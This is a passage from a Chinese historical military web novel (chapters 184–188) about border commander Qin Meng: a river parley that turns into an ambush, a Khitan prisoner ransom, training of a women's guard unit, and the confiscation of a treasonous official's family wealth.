“这怕是暗地里的老鼠送到草原,又承诺许多好处。你们这些**才会来进犯,针对铁血军寨?”
“哼,阁下是谁?”萧铁鹰策马上前,冷笑打断,并岔开话题:“本帅邀请的是秦猛秦知寨!”
“本将乃是幽州虎贲军飞虎卫,牛大炮是也!”牛五大脸盘一甩,双眼圆睁,照秦猛交给他再说:“昨夜指挥战斗的便是本将,略施小计,就杀**两千八,你这个契丹酋帅徒有其表也!”
“哈哈哈……”他身后,秦猛,秦大壮,**,袁飞等人哄堂大笑,嘲讽的笑声响彻了拒马河。
第184章 各怀鬼胎
这赤条条的嘲讽笑声毫不掩饰,像淬了冰的刀子扎在人心上,刺耳得紧。
对面几十个草原汉子顿时炸了锅,一个个吹胡子瞪眼,粗鄙的叫骂声顺着河面飘过来。
萧铁鹰脸色也阴沉下来抬手狠狠一摆,拦住了身后几个按捺不住、想冲上去拼命的勇士。
“咋滴?本将就说了句大实话,你们这些蛮子就受不了了?”牛五见状,脖子一梗,阴阳怪气。
他的嗓门陡然又拔高了几分:“本将乃是以彼之道,还施彼身。就是用你们的所作所为,还给你们!瞧瞧,你们这德行,就受不了了?”
牛五可不管别人什么神色,唠唠叨叨叨个不停:“对了,草原上有句话,只能你们欺负别人,别人不能欺负你们,否则会很愤怒,以为受到挑衅,心胸这么狭隘,妥妥的腌臜小……”
“够了。”萧铁鹰声沉如铁,终于是忍受不了。手中马鞭“啪”地一甩,遥指向铁血军寨墙。
“牛将军料敌于先,用兵如神,萧某打心底里佩服。但你我都是带兵之人,莫要逞口舌之利。”
尽管萧铁鹰越看越不相信这牛大炮是用兵如神之人,却没有证据揭穿,只能捏着鼻子认了。
“北疆这摊子事绝非一场仗就能定输赢。今日来此,不过是想见见击败我的将军,如今心愿已了,日后战场上,咱们再真刀**分高低!”
他可不想再留在这儿受窝囊气,话音刚落,便甩动缰绳拨马,准备带着人撤退回河对岸。
“等等!”牛五突然扯开嗓子喊了一声,声音大得能盖过寒风,“这个,你们的俘虏不要啦?”
话音刚落,几个精通契丹话的亲兵立刻接过话头,用流利的契丹语朝契丹人复述了一遍。
旁边两个骑兵拎着木喇叭,催马奔到北岸附近,朝着对岸扯着嗓子喊:“萧酋帅果然仗义呀,我等佩服。他答应用牛羊马匹换俘虏咯!”
这声音被呼啸的北风裹着,飘得老远,草原上那些待命的契丹骑兵听得一清二楚,许多人交头接耳,队伍里顿时起了一阵不小的骚动。
“你们……”萧铁鹰脸色骤变,最担心的事儿还是发生了。
看着对方狡猾的模样,跟街头小贩甩卖货物似的叫嚷,他气得胸口发闷,却偏偏没法发作。
——这些俘虏里有不少部族子弟,要是说不换,回去没法跟部落交代,对他威望也大有影响。
可要是换了,是妥妥的被人拿捏!
“哼,多谢牛将军提醒。”萧铁鹰牙关紧咬,脸色铁青地拱了拱手,语气里满是压抑的怒火。
“周朝讲究仁义,不是有句话,叫‘不杀降、不辱俘’吗?你们却耍这种小伎俩,岂不是失了大国风范?”萧铁鹰试图用道义压一压对方。
“得了得了!”牛**耐烦地摆摆手,霸气十足地打断他,“那是对咱们自己人说的!
至于你们这些常年骚扰边境、烧杀抢掠的鞑虏,把咱们边关儿郎害得多惨,还想讲规矩?门儿都没有!”
“呸!你还有脸说这话?”周扬当场就啐了一口,“你们这些养不熟的白眼狼,抓到就该直接砍了脑袋!”
“没错。”**也跟着骂道:“像你这种敌酋,砍了头都得用石灰腌起来,送回京城示众!”
袁飞跟他一唱一和:“就是!你们这些天杀的**,缺德带冒烟,坏得头顶生疮,脚底流脓!”
“长生天怎么不降下一场瘟疫,把草原上的鞑虏全灭了!”
人群里不知是谁喊了一嗓子,瞬间引来了一片附和。
萧铁鹰的脸色越来越难看,看着对面周军将士眼中翻腾的怒火,听着那些淬了毒的咒骂,一股寒意莫名从脚底窜了上来。
——他忽然意识到,这些周军对契丹,不,应该是对草原**的恨意,远比他想象的要深。
“别废话了,说正事!”秦猛在后面咳嗽了一声,又伸手戳了戳牛五的后背。
牛五会意,抬手止住了众人的骂声,场面顿时安静下来。
“听好了,一个普通鞑虏俘虏,换5匹马、10只羊。
军官,什长,就换10匹马、10只羊,5头牛。百夫长,换50匹马,10只羊,10头牛。”
牛五清了清嗓子,报出条件,“你们的当户阿骨朵,霍格,每人换200匹马、10只羊,100头牛。
至于千夫长萧克,换500匹马、10只羊,300头牛。”
说话间,南岸奔来小队骑兵。
三个披头散发、满身血污的男人被绳子捆绑。后面两个低着头,前面那人穿着萧克的战袍,腰间还挂着那枚鹰首铜符,千夫长的信物。
此人的确是萧克。
至于后面的阿骨朵,因箭伤过重,刚死不久,霍格死的悄无声息,故并不妨碍再利用一把。
阿骨朵?霍格?萧克?
他们还活着?萧铁鹰听到这三个熟悉的名字,又见到被押至附近,紧绷的肩膀不着痕迹地放松。
——尤其是萧克,那可是他得力的亲信将领,要是折在这里,损失就大了,活着就好啊!
牛五把他的神色变化看得一清二楚,嘴角勾起一
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抹冷笑,继续说道:“别觉得咱们狮子大开口,草原上用马赎人的行情,咱们门儿清,这价格已经很公道了,退兵时双方展开交易。
另外提醒你一句,我们这儿总共押着三百多个俘虏,回去好好准备,别到时候拿不出东西!”
这些俘虏原本没这么多。是秦猛决定赴约谈换俘时,李雄立刻说南河城寨里押着一批鞑虏苦力。
赵平也紧跟着说幽州大营还关着一批,正好趁这个机会一并脱手,顺便狠敲萧铁鹰一笔。
萧铁鹰心里暗骂自己失算,这次冰河会面简直是自投罗网,不仅被对方当众羞辱,还被抓住了俘虏这个把柄,言辞交锋彻底落了下风。
但事已至此,他没有太多犹豫,咬着牙沉声道。
“好!就按你说的条件来!”
答应的同时,他眼中闪过一丝狠厉,回去再商议对策,转身时,朝身边的队伍使了个眼色。
萧铁鹰邀请周军将领冰河上会面根本就没安好心。他想着确认秦猛这个眼中兵肉中刺来了,他就想方设法,把对方留在这颌面之上。
只是现实跟计划有所出入,似乎那秦知寨没有来。可眼下能干掉对方两个将领,也算是打击对方士气,扳回一局,也不枉吹了半天寒风。
萧铁鹰早就跟亲卫队说好。
几十个骁勇善战的草原汉子心领神会,悄然策马向前,手伸向背后的弓箭,动作隐蔽,想趁着周军放松警惕时突袭一把,捞点便宜。
可河面上的双方都是黄鼠狼给鸡拜年,没安好心。
**的动作再快,也快不过早有防备的秦猛。
这小子跟萧铁鹰想法不谋而合,只要把对方主帅在冰面上做掉,今年这场仗就彻底打不起来。
铁血军寨也能安然渡过这个冬季。
至于跟对方洽谈俘虏的事情,无非就是**。
确认萧铁鹰无疑,再找机会做掉他。
这家伙想走之时,就是动手的信号!
“杀!给老子杀光这些**!”秦猛突然大吼一声。话音未落,他便催马而出,一马当先,像离弦的箭似的朝着萧铁鹰等人冲了过去。
秦大壮、袁飞、**等人紧随其后,百多步外的草原骑兵也同时扑了上来,双方瞬间在冰冻的河面上撞在了一起,一场惨烈的厮杀骤然爆发。
更让契丹人震撼的是周军的反应比他们快了不止一步。
——冲在最前面的周军骑士,不等靠近便弯弓搭箭,改良后的强弓力道十足,箭矢如同暴雨般射出,契丹骑兵瞬间倒下一片,损失惨重。
第185章 单骑慑鞑虏
擒贼先擒王!
秦猛的目标自始至终只有一个——萧铁鹰!挡在他面前的鞑子,全被手中长枪一枪封喉。
他手下无一合之敌,胯下踏雪乌骓如离弦之箭,转瞬间便冲破层层阻拦,直逼萧铁鹰近前。
萧铁鹰的贴身护卫托尔巴见状,立刻带着几人策马拦在前方。
这托尔巴天生蛮力,勇猛非凡,手中铁骨朵舞得密不透风,寻常将士根本近不了他的身。
可在秦猛面前,这般武艺依旧不够看。两人交手三两招,秦猛便抓住托尔巴招式间的破绽,长枪如毒蛇出洞,荡开铁骨朵,斜刺而去。
噗哧一声,长枪洞穿他的肩膀。
就在枪尖即将上撩割开托尔巴胸膛的刹那,一道寒光突然从斜侧袭来。
——原来是托尔巴身后,一个身材瘦削的护卫突然发难,拍马上前,长剑速度快得惊人。
不仅攻人、而且专刺马。
秦猛瞳孔骤缩,为保坐骑不得不收枪回防,侧身避开长剑的同时,长枪顺势变刺为扫,狠狠砸向托尔巴的肩膀。
“咔嚓”一声骨裂脆响,托尔巴惨叫着摔落马下,却并未气绝。
“给我死!”秦猛长枪回旋,狠狠砸向瘦削护卫。
而那瘦削护卫一击得手,并未恋战,翻身跳上另一匹战马,避开扫来的长枪,还不忘拖拽起受伤的托尔巴,催马便向萧铁鹰方向退去。
“哪里跑?”秦猛怒喝一声,正要策马追赶,余下几个鞑子兵却拼死扑上来,用身体挡住了去路。
待他解决掉这些残兵,再抬眼时,那受伤的托尔巴上了匹无主战马,与瘦削护卫已经跑远。
“想走?没那么容易!”秦猛眼神一厉,非但没有勒马,反倒双腿猛夹马腹,胯下乌骓马通灵,一声长嘶,如一道黑色闪电般狂追而去。
踏雪乌骓速度何等之快?
双方一追一逃,距离在风中飞速缩短,秦猛挂好枪,反手摘下鞍上强弓,右手顺势抽出羽箭。
搭箭、拉弓、满月,动作一气呵成,快得只剩残影。
此时,双方的距离近两百步,这般距离下又是纵马狂奔,寻常将士别说射中,连瞄准都难。
秦猛却凭借着后世狙击的精准底子,再加上这段时日的日夜苦练,目光如鹰隼般锁定逃窜的身影。
“嗖嗖嗖”,弓弦三响,连成一片!
三支羽箭破空而出,箭尖带着尖锐的呼啸,直追目标!
第一箭刚至,那削瘦护卫便察觉危机,反手挥剑。
“铛”的一声脆响,羽箭被剑身弹开,可他还未稳住身形,第二根箭矢已接踵而至,速度更快、角度更刁钻,狠狠射中他握剑的手腕!
“噗”的一声,鲜血飞溅,长剑脱手落地。
紧接着,第三箭如影随形,精准无误地射中托尔巴的后背,箭羽穿透甲胄,深深嵌入 flesh之中,托尔巴惨叫一声,彻底瘫软在马背上。
萧铁鹰余光瞥见身后的惨状,以及秦猛追来的气势。只顾着狂抽马臀狂奔,连回头都不敢。
待几人狼狈冲回对岸草原,与契丹大军汇合时。秦猛已勒住马缰,单枪匹马,立于北岸百余步的冰面上,冷冷注视着逃窜的萧铁鹰等人。
“萧铁鹰,你等着!本将终有一天,报当年之仇。”
秦猛手持长枪,指着对岸的萧铁鹰,声音如惊雷般响彻苍穹:“还有那个狗汉奸!别让本将知道你是谁。否则定杀你全家,杀你全家!”
刚逃回阵中的萧铁鹰,只觉这声怒吼震得耳膜生疼。
更让他惊骇的是,河畔的契丹战马竟在这股气势威慑下躁动不安,有的刨蹄嘶鸣,有的连连后退。
原本整齐的骑兵方阵变得杂乱不堪,契丹兵们死死拽着缰绳,控好马匹,眼中尽是慌乱神色。
当然,也并非所有人都畏惧,反而怒火冲天。一个个奔到河畔,或高声叫骂,或弯弓搭箭。
一支支箭矢飞过了百步,就软绵无力地掉下。根本就没有一支箭矢射入秦猛前方三十步之内。
“孬种,我都送上门来,却不敢来,一群懦夫。”
秦猛来回策马,见契丹兵始终不敢冲出来,不禁轻蔑地大笑,随即拨马转身,飞奔离去!
中途见到冰面上染血的长剑,长枪一挑勾到了手中。
萧铁鹰比谁都清楚,跟随自己多年的勇士有多勇猛。看着濒死的草原人猿托尔巴,望着冰面上那个铁塔般的身影,眼中首次闪过畏惧。
——这究竟是谁?秦猛?竟强悍到如此地步!
另一边,河面上的厮杀已经落幕。
几十个突袭的鞑子被斩杀殆尽,尸体横七竖八地躺在冰面上。
反观周军这边,参战者全是骁勇善战之辈,仅有寥寥几人落马,且都是轻伤,几乎毫无损失。
牛五追杀着逃兵,一棍子打死最后一个负隅顽抗的契丹兵,特意靠近北岸,朝萧铁鹰叫嚷。
“那个…萧酋帅,小冲突结束了,那是你们技不如人,谈妥的换俘虏一事,可不要忘记哦!”
“哈哈哈……”袁飞,王良等人哄堂大笑,在冰河上游走怪叫,犹如鞑子嘲讽大周军队那般。
一阵阵嚣张的笑声在飘到了北岸。
尤其是那些契丹兵死了被扒掉衣甲,砍掉脑袋……
“该死!该死啊!”萧铁鹰隐隐看着冰面上的惨状,牙齿咬得咯咯作响,手中马鞭被死死攥着。
他实在没想到,大周边军的变化竟变化如此之大,如同草原部落那般骁勇大胆,狡诈狠辣!
“酋帅,下令吧!咱们杀过去,为弟兄们报仇!”
“对!杀过去!踏平对岸的周军大营!”
周围的契丹勇士个个红了眼睛,纷纷愤怒地请战,恨不得立刻冲过冰面,与周军拼杀一场。
但萧铁鹰终究没有下令全军突袭。他心里清楚,此刻自己完全摸不透对岸周军的虚实,对方既占据主场优势,贸然硬拼只会吃更大的亏。
秦猛勒缰立马,视线从萧铁鹰的身上挪开,死死锁定着对岸那个削瘦护卫的背影,眉头紧蹙。
方才交手时,那护卫的身法、剑法,绝非草原人所有,反倒带着汉人武学的灵动刁钻;
更让他起疑的是,那护卫抬头时,他隐约瞥见对方眉眼间的轮廓,白面俊朗,绝非寻常护卫。
“此人定有问题,说不定是……”秦猛低声自语。
众人很快打扫完战场,慢悠悠地返回了南岸!
赵平、李雄等人纷纷迎上,询问详情。尤其是秦猛追杀萧铁鹰,他们离得太远,看不真切。
秦猛眉头微皱,将之前的事说了一遍,低声道:“萧铁鹰身边那个亲兵有问题。我欲斩杀托尔巴时,那人剑术高超,如杀手那般冷静。”
“难道是契丹高手?”赵平问道。
“不像。”秦猛摇头,“那眼神里没有契丹人的狂野,绝对是汉人,此事不同寻常,需要调查。”
“秦知寨,可以从那宝剑上入手。”周扬没有杀敌后的喜悦,反而阴沉着脸,突然开口道。
与此同时,逃回对岸的萧铁鹰也在帐中发火。“废物!都是废物!几十个勇士竟被杀了个干净。”
那名瘦削亲卫悄然现身,此刻已褪去沾染血污的甲胄,换上一身素色锦袍,手腕缠着纱布。
他缓步上前:“酋帅不必动怒。今日之败,未必是件坏事。”
“什么意思?”萧铁鹰转头瞪着他,本想斥责几句,又想起对方救了托尔巴,终究没能说出口。
他语气带着几分不耐:“你倒说说,如何个不是件坏事……”
“秦猛此人勇猛有余,但过于自信。我们正好可以利用这一点。”亲卫眼中闪过一丝精光,“他们的兵力并不多,只等暴风雪来临,便是破寨之时。”
萧铁鹰眯起眼睛:“你有把握?”
“十成把握。”瘦削亲兵嘴角勾起一抹冷笑。
“铁血军寨为何能在边境立足?除了秦猛自身勇武,更重要的是背后有地方上的粮草接济。”
“可这地方接济,并非铁板一块!而且,我在……”
削
第186章 女兵初成,兄长诫妹
官署后院,气氛略显肃杀!
二十六名年轻女子身披统一的褐色皮甲,手持长矛,腰佩短刀,五人一组,扼守着廊下、门洞、要道。
她们站姿挺拔,目光锐利,虽略显青涩,但那股经过严格训练后凝聚的气势已不容小觑。
这正是以秦小芸和王艳为首的女子护卫队。成员多是自冷艳山寨劫难中幸存下来的女子,年纪多在十六至二十五之间。
近来的刻苦操练,褪去了她们曾经的柔弱,磨砺出几分军人的硬朗。
她们身上的装备,从皮甲到腰刀长矛,再到少数人配备的弓弩,皆得益于秦小芸四处“化缘”。
铁匠作坊的李铁匠按要求,加班加点打造兵刃,木工坊的鲁明精心调试矛杆,强弓,衣甲坊的王婶带队为她们量身赶制合身的皮甲。
这一切,表面上是秦小芸凭人缘争取,实则都经过了守将秦猛的默许,甚至在某些不便明言的支持下,这支独特的女兵队伍才得以初步成形。
秦小芸身穿皮甲,腰挂长刀,脚踏锃亮马靴,一袭大红披风在微风中拂动,更显神采飞扬。
她带队,沿着巡逻路线缓步而行,声音清亮:“都打起精神!河畔号角未再响起,但鞑子狡诈,难保不会另有诡计。我们的首要之任,便是守好这官署后院,确保夫人万无一失!”
“小芸队长,”
年纪稍长、性格稳重的红姑拉了一下秦小芸的臂甲,目光投向不远处马厩中那些喷着响鼻的战马,低声道:“瞧那些骑兵弟兄来去如风,好不威风。
咱们姐妹如今步战已有些模样,若能有些马匹操练骑术,将来或真能上阵杀敌,而非仅困守院内。”
“是啊队长。”她身旁面容秀丽的文琴也笑着附和:“你可是秦将军的亲妹,若你开口讨要些马匹用于训练,将军想必不会驳你的面子吧?”
“这个嘛……”秦小芸闻言,俏脸微露难色。
她现今的坐骑枣红马,还是她软磨硬泡了秦猛许久才得来的。再要讨要战马训练女兵,恐怕……
红姑眼珠一转,故意激将道:“小芸队长,你就试一试嘛!怎么,莫非是怕秦将军训斥?”
“谁、谁说的!”秦小芸到底年少,受不得激,立刻手插纤腰,挺起胸膛,傲然道:“我只要开口,我哥断无不允之理!不过几匹马儿……”
她只顾着逞强,却未察觉红姑、文琴等人已悄然闭嘴,神色恢复肃穆,与她交好的姐妹更是连连使眼色。
“我说真的!我这就……”秦小芸见众人不语,以为她们不信,正要继续夸口,忽觉光线一暗,一道高大的阴影将她笼罩。
她猛地转身,只见秦猛不知何时已悄无声息地站在她身后,甲胄上沾染的血渍尚未干透,浑身散发着血腥与煞气,脸色沉静,不怒自威。
秦猛刚与赵平、周扬等将领议完军情,调整了界河军寨的防御部署,这才率亲卫回官署稍作休整。
岂料一进后院,便见到后院女兵守护在各处,自家小妹在带队巡逻、训话,可走近一听,秦猛脸顿时黑了下来,这小丫头竟然在吹牛!
“呀!哥——”秦小芸先是一惊,随即小脸上绽开惊喜笑容,像只雀儿般欲扑过去。
“哼!”秦猛冷哼一声,伸出一根手指抵住女孩光洁的额头,让她无法近身,只能双臂乱舞。
他目光如电,扫过院内众女兵,声音沉浑:“刻苦训练搏杀,是好事。想学骑术,亦可。
但需脚踏实地,先步战根基扎实,再图其他。至于上阵杀敌,”
他顿了顿,语气加重,“何时能胜过军中辅兵,再言不迟!”
说罢,他沉声道了句“你给我过来”,便像拎小鸡崽似的,提着秦小芸的后衣领,大步走向正屋。
秦小芸徒劳地蹬着腿,小声抗议:“哥,快放我下来!姐妹们看着呢,太丢人啦!”
秦猛却充耳不闻,径自入小院,反手带上房门。
后院内众女这才松了口气,相互对视,眼中皆有后怕。
秦猛将军浴血而归,那股刚从沙场上带来的凛冽杀气,一个眼神扫过来,便令人心胆俱寒。
院中的气氛刚松弛几分,红姑便轻轻拍了拍饱满的胸口,望着紧闭的正屋门,低声笑道。
“将军刚从战场上回来,身上那股子煞气,可把我吓得心都快跳出来了。
不过话说回来,将军又打胜仗了吧?方才远远瞧见亲卫们脸上的喜色,想来定是大获全胜!”
文琴握着长矛的手紧了紧,眼神亮了几分:“可不是嘛!自打咱们来了这军寨,有将军在,就没再怕过鞑子和山贼。
这段时间总是听说,将军带着弟兄们硬是把狼戎骑兵击溃多次,收获颇丰,寨内马匹成群喽!这份能耐,放眼整个边塞,也没几个能比!”
两人正说着,引得其他女子附和。
红姑是幽州城酒楼掌柜之女,半年前,随叔父外出采买,遭山贼劫掠,叔父惨死,她被军寨队伍所救。
文琴原是双塔镇地主家的三小姐,春日踏青时被山匪掳走,因怕归家受辱,辗转投奔了军寨。
听着近处的练兵声、远处的号角声,再想起秦猛方才沉稳威严的模样。两人心中的敬佩又深了几分。
“好好练吧,”红姑侧头看向文琴,语气认真,“只有咱们自己有本事了,才能不辜负将军的庇护,将来也能像男兵们一样,为军寨出力。”
文琴重重点头,攥紧长矛,转身归位时脚步比先前更显坚定。
……
屋内,秦小芸耷拉着脑袋,老老实实站着。秦猛换上了常服,一边倒着热水,一边训斥。
“这两日,你嫂子身子不适,你这疯丫头不在跟前悉心照料,倒有闲心在外头吹嘘、逞能?”
“哥,我知道错了,以后定当……”秦小芸瘪着嘴,一副可怜相。
“以后?你还想有以后?”秦猛板着脸。
榻上,脸色微有好转的陈月娘轻轻拉住秦猛的衣角,柔声道:“猛子哥,小芸年纪尚小,贪玩些也是常情,日后慢慢教便是了,莫要太过苛责。”
“罢了,不说这个。”
秦猛叹了口气,面色稍缓,将温水递给陈月娘,探手摸了摸她的额头,确认体温正常,心下稍安。
他转向小妹,语气凝重:“小芸,你记着,年轻气盛是好事,但你未经历过社会毒打,不知道人心险恶,以后在外头行事,多长个心眼。”
“知道了。”秦小芸忙不迭点头。
“你不知道。”秦猛看到小妹这模样,便想到自己当年后世父母,也是这样苦口婆心劝说自己,当时知道了,转头就忘了,依旧鲁莽冲动。
他脸上露出苦笑:“算了,以后你吃了亏就会明白的。重要的是,军中强者为尊,靠自身本事。
哥是你的靠山不假,保你无人敢欺。但你断不可仗着‘秦猛之妹’的名头虚张声势,如今日马匹之事。
想要,就当循正途。可具文呈报马厩,申明训练所需马匹数量、用途,经主事官吏核实,报我审批。合乎规制,我自会准予。而不是被人怂恿,逞口舌之快,胡乱许诺,你可明白?”
“嗯!明白了,哥!”秦小芸重重点头。
秦猛神色缓和,将女孩拉到身边坐下,拍了拍她的脑袋:“你很聪明,但一定要多长个心眼。女兵训练时要添个规矩,平时少议论是非。
既然想从军,首要便是吃苦耐劳,练就真本领。为我妹子,更应身先士卒,为众人表率。望你勤勉不辍,将来成为一名不让须眉的女将军。”
“嗯!”秦小芸握紧小拳头,双眼放光,连连点头。
“猛子哥,鞑子那边……”陈月娘见兄妹和颜悦色地说着话,露出欣慰笑容,随即又忧心问道。
秦猛宽慰道:“不必忧心,鞑子此番吃了亏,总得舔舐伤口,短期之内,应无力再犯……”
第187章 抄家敛财,密信惊雷
午后暖阳洒下,温度却又低了几分。
秦猛架不住陈月娘说总躺着不舒服,便陪她在廊下晒太阳说话,话语里尽是些边塞的趣闻。
边上炭火燃烧,暖意融融!
院内右边传来整齐的呼喝声,是秦小芸和王艳带着女兵练刺杀,动作虽略显生涩,眼神却格外坚毅。
秦猛偶尔放下茶盏起身指点:“出枪要快准狠,握枪的手再稳些,身后的空档记得用盾牌护住,前队减速,配合,别光顾着往前冲!”
秦小芸,王艳闻声颔首,立刻呼喝,调整姿势,小队之间开始知道配合,气势顿时足了几分。
就在这时,诸葛风急匆匆奔来,额角带着薄汗:“大人!庞巡检派人传信,青阳郡城有变!”
他上前见过陈月娘,与秦猛走到一旁,压低声音:“郡丞董袭果真勾结狼戎,不仅深夜潜入袭击林郡守,还想打开城门引鞑子入城。
幸好被庞巡检,张崇指挥使带兵及时阻拦,击溃,否则后果不堪设想,如今董袭已经溃逃。”
“好!做得好!”秦猛一听到“庞仁”“青阳郡董家”等字样,脸上瞬间绽开笑意,连连拍掌称赞。
他心中比谁都清楚,庞仁正是按他的吩咐行事——既要铲掉董家这颗毒瘤,又要师出有名,还不能搅乱地方安稳,甚至尽量不要闹大。
眼下看来,这事办得极为漂亮。
“对了大人,”诸葛风补充道,“唐都头已经带着人马押送董家私兵和抄没的财物,正往官署赶。”
秦猛眼中精光一闪:“走!咱们去瞧瞧这趟的收获!”
说罢,他先是跟陈月娘打了声招呼,又嘱咐几句,这才与诸葛风一同快步向官署前厅走去。
唐毛毛,这机灵小伙最近真是洋巴了。
他名义上从边军转到地方军队,立刻就成为了都头。手底下管着百来号人,是训练使臣庞仁的左膀右臂,协助练兵,处理各种事务。
此刻,唐都头带人护送着几十辆满载的马车入军寨,表面上以布匹、丝绸、茶叶为掩护,实则是暗中将抄没董家的金银财物押运返程。
除此之外,他还押送来了两百多个董家拉拢豢养的兵卒打手,为虎作伥,做了缺德事却不致死。张崇不敢收,庞仁要了,全送来做苦力。
就在寨外,移交给了李山等将领。
官署外,由远及近传来一阵喧哗,伴着清晰的车马辚辚之声,一辆又一辆车辆涌入前院。
李恒带着文吏忙碌着,把丝绸,茶叶等物分类入库。
官署,议事厅。
唐毛毛见秦猛进来,他快步迎上行礼,压低声音道:“将军,此事棘手,需借一步说话。”
秦猛颔首,挥手屏退厅内值守的亲卫,只留下诸葛风,又吩咐王良等亲兵在门外守着。
待厅门紧闭,唐毛毛才汇报情况:“昨夜烽火燃起,庞巡检带领人马入郡城,稳定后方。
却遇郡丞董袭勾结鞑子反叛,袭击林郡守。庞巡检,张指挥封锁全城,连夜绞杀董家及其党羽……”
唐毛毛将昨夜发现的事儿汇报完,从怀里掏出账本递给秦猛:“此次带来的是董家抄没。”
秦猛翻开账册,扫了一眼,惊讶一闪而逝。董家被抄搜刮财物,家底之厚,着实骇人听闻。
他为自己打地主的行动点个赞,实在是来钱快!
现银、黄金折算下来,不下二十余万两之巨;囤积的粮草数万石,足够支撑军寨数月之用。
名下商铺上百、田庄几十座、矿山遍布数郡。这些产业地段极佳,而且都是挂在他人名下……
秦猛看到产业归属,便想明白过来。
这董家乃是盘踞燕北郡数十年的地方豪强,利用职权之便谋取私利,积攒下来这肥肥家资。
唐毛毛略微沉吟,似在回忆昨晚收获,继续禀报:“大人,时间太过紧迫,牵涉多座县城。
我们只来得及起获最现成的金银珠宝充作军资。还有许多金银细软被藏起来,分批运送。
董家及其党羽,名下商铺、田庄、矿山等杂项甚多。其价值根本难以估量,可惜,已按律移交郡衙处置,庞大人在尽力争取军寨份额。”
“放心,这些产业有我们一份。”秦猛笑着摆手,把账本递给诸葛风,让他看一看此次收获。
唐毛毛继续汇报了送来壮劳力等相关信息。秦猛了解情况后,直接拍板,划拨入劳改营。
秦猛见唐毛毛欲言又止,举动问:“可还有其他事?”
“有!”唐毛毛连连点头,语气陡然转为凝重:“而且这事儿牵扯不小,庞大人特意嘱咐过。”
诸葛风合上帐册,转眼看来。此刻,他除了眼中略带兴奋,白净脸上没有因收获丰厚而激动。
他的反应让秦猛看得暗自点头。
唐毛毛四下张望,见没有外人,这才低声说:“查抄财物的过程中发现的罪证,才更让人触目惊心。
自董袭父亲在任,这些年,向草原部落私售的军粮、盐铁、军械图谱,数量之大。远远超出了我们的想象。
而与他勾结的官员、胥吏、边军败类,甚至商贩等更是盘根错节,几乎遍布燕北郡上下。”
唐毛毛脸上露出几分苦笑,从怀中掏出一封火漆封口的密信,递了过去:“将军先看这个。
此乃庞大人亲写的重要情报,是董袭的嫡长子董谦,还有……还有户部侍郎李嵩的情报。”
秦猛接过递来的密信,指尖一挑,挑开火漆,信纸展开的瞬间,目光扫过字迹潦草的几行,脸色当即沉了下来。
信上是庞仁笔迹,摘要记载着董袭长子董谦常年定居在京城,及董家与外界勾结的往来铁证。
董袭不仅私通狼戎、女真,竟还攀上京官李嵩。
借着此人的庇护,私售物资给草原部落牟利。即便是幽州官僚获利较少,也没有过于刁难。
大头银钱尽数送给李嵩,或多用于在朝中打点,甚至暗中联络藩王。
“他娘的!”秦猛看完,低骂一声,将信纸拍在桌案上。本以为,董家被连根拔起,没成想竟有漏网之鱼和牵扯出京中侍郎,平白惹上麻烦。
“董袭被擒时嘴硬得很。”一旁的唐毛毛凑上前,“说他儿子董谦早投了京中‘大人物’,还是心腹,说有李侍郎的庇护,就没人敢动他。”
“没人敢动?老子动了又如何!”
秦猛不屑冷哼,把密信丢给诸葛风。
诸葛风接过信纸,目光快速扫过内容,原本平静的脸色骤然凝住,眉头瞬间拧成疙瘩。
他抬眼看向秦猛,语气沉了几分:“这事难办了。牵扯上京官,已不是咱们在地方能处置的。”
“怕什么?”秦猛拍桌,一副混不吝的架势,“董袭私通鞑子铁证如山,是株连九族者大呀官。京城什么狗屁侍郎敢牵扯进来,就是找死!”
“大人,关键在董谦。”诸葛风指着信中字句,“他在京中是李嵩心腹,若这李嵩要保他,必会设法阻挠查案,甚至反咬咱们是公报私仇。”
“是啊!”秦猛长叹一声:“这也是我所担忧的。留下这个小尾巴,迟早是要弄点事情出来。”
“要不上京城……”唐毛毛立刻自告奋勇,恶狠狠地做了个抹脖子的动作,一副杀人灭口的样子。
“你疯了!”诸葛风吓了一跳。
“去你的你。”秦猛一脚踢到他屁股上,随即压低声音,“你回青阳郡告知庞仁,按原计划清理董家余党,凡勾结董家走私犯一个别放过。
到手的商铺赶紧兑给风评不错的本地良善富户。财物赶紧送回来,”军寨吞不下的挑些紧要的……”
话音渐低,唐毛毛眼睛发亮,连连点头称是。
诸葛风指尖不自觉攥紧了手中的密信,神色愈发凝重。
第188章 双线破阴谋
今夜,相安无事!
吃了亏的契丹鞑子并没有来骚扰。
第二日清晨,南河城寨副将李雄见边境暂无战事,便找到秦猛告辞,率两百余骑兵返回复命。
秦猛亲自送他出寨,情谊之外,也不忘送点军寨特产——几十坛精心准备的“北风烈”好酒。
“李老哥辛苦,这些好酒一部分与弟兄们解乏,一部分请转交魏知寨,尝尝我们边塞的烈性。”
李雄大笑着应下,带队绝尘而去。
送走李雄,秦猛并未回屋休息,而是转身走向附寨新辟出的劳改营,里面口号和打骂声不断。
这里面关押的正是唐毛毛昨日送过来的郡兵。这些人虽没做啥好事,却个个是青壮劳力,用于营建、挖矿、修桥补路等再合适不过。
负责管理劳改营的,是近期因表现积极而被提拔起来的张龙、张虎兄弟。这两人原是军中悍卒,杀敌勇猛,一步步晋升,如今成准部将。
见秦猛到来,张龙、张虎立刻跑步上前见礼。
秦猛扫视着这群面色惶惑、被强制操练的郡兵,对张氏兄弟沉声嘱咐:“这些人,是军寨宝贵的劳力,也是你们转正部将后的兵源。
规矩要立住,干活不许偷奸耍滑,私下殴斗,但饭要让他们吃饱,基础的队列操练也不能停。练好了,关键时刻,未必不能拉上战场。”
他的声音不大,却清晰地传遍全场。
“都给老子听好了!这里是铁血军寨,不是青阳郡大牢。在这里,只要肯下力气干活,就有饱饭吃!谁要是偷懒耍滑,军法棍可不认人!
但表现好的,知道悔改的,将来或可削去罪籍,转为平民,甚至发钱回家经商,转入军籍……”
秦猛恩威并施的话语,让不少人眼中重新燃起一丝希望的火苗,对强制训练的排斥逐渐减弱。
秦猛走后,张龙兄弟立刻板起脸开始厉声训话,重申营规,宣扬军寨的待遇,好处等等。将这二百多壮劳力的管理权牢牢握在手中。
处理完劳改营事宜,秦猛旋即召集秦大壮、李山、刘铁柱等心腹将领,并请来赵平与周扬等人,在寨前军营开了个简短的军事会议。
“鞑子接连吃亏,眼下按兵不动,绝非是怕了。”
秦猛开门见山,想起那个瘦削护卫面色凝重:“我估摸着,萧铁鹰要么是在等援军抵达,要么就是在憋什么坏水。大家都说说看法。”
诸将纷纷发言,各抒己见。
秦大壮认为守界河雪墙为主,李山觉得需防敌人夜袭或火攻。
刘铁柱建议多派斥候监控芦苇堡浅滩,防止鞑子倾巢而出。
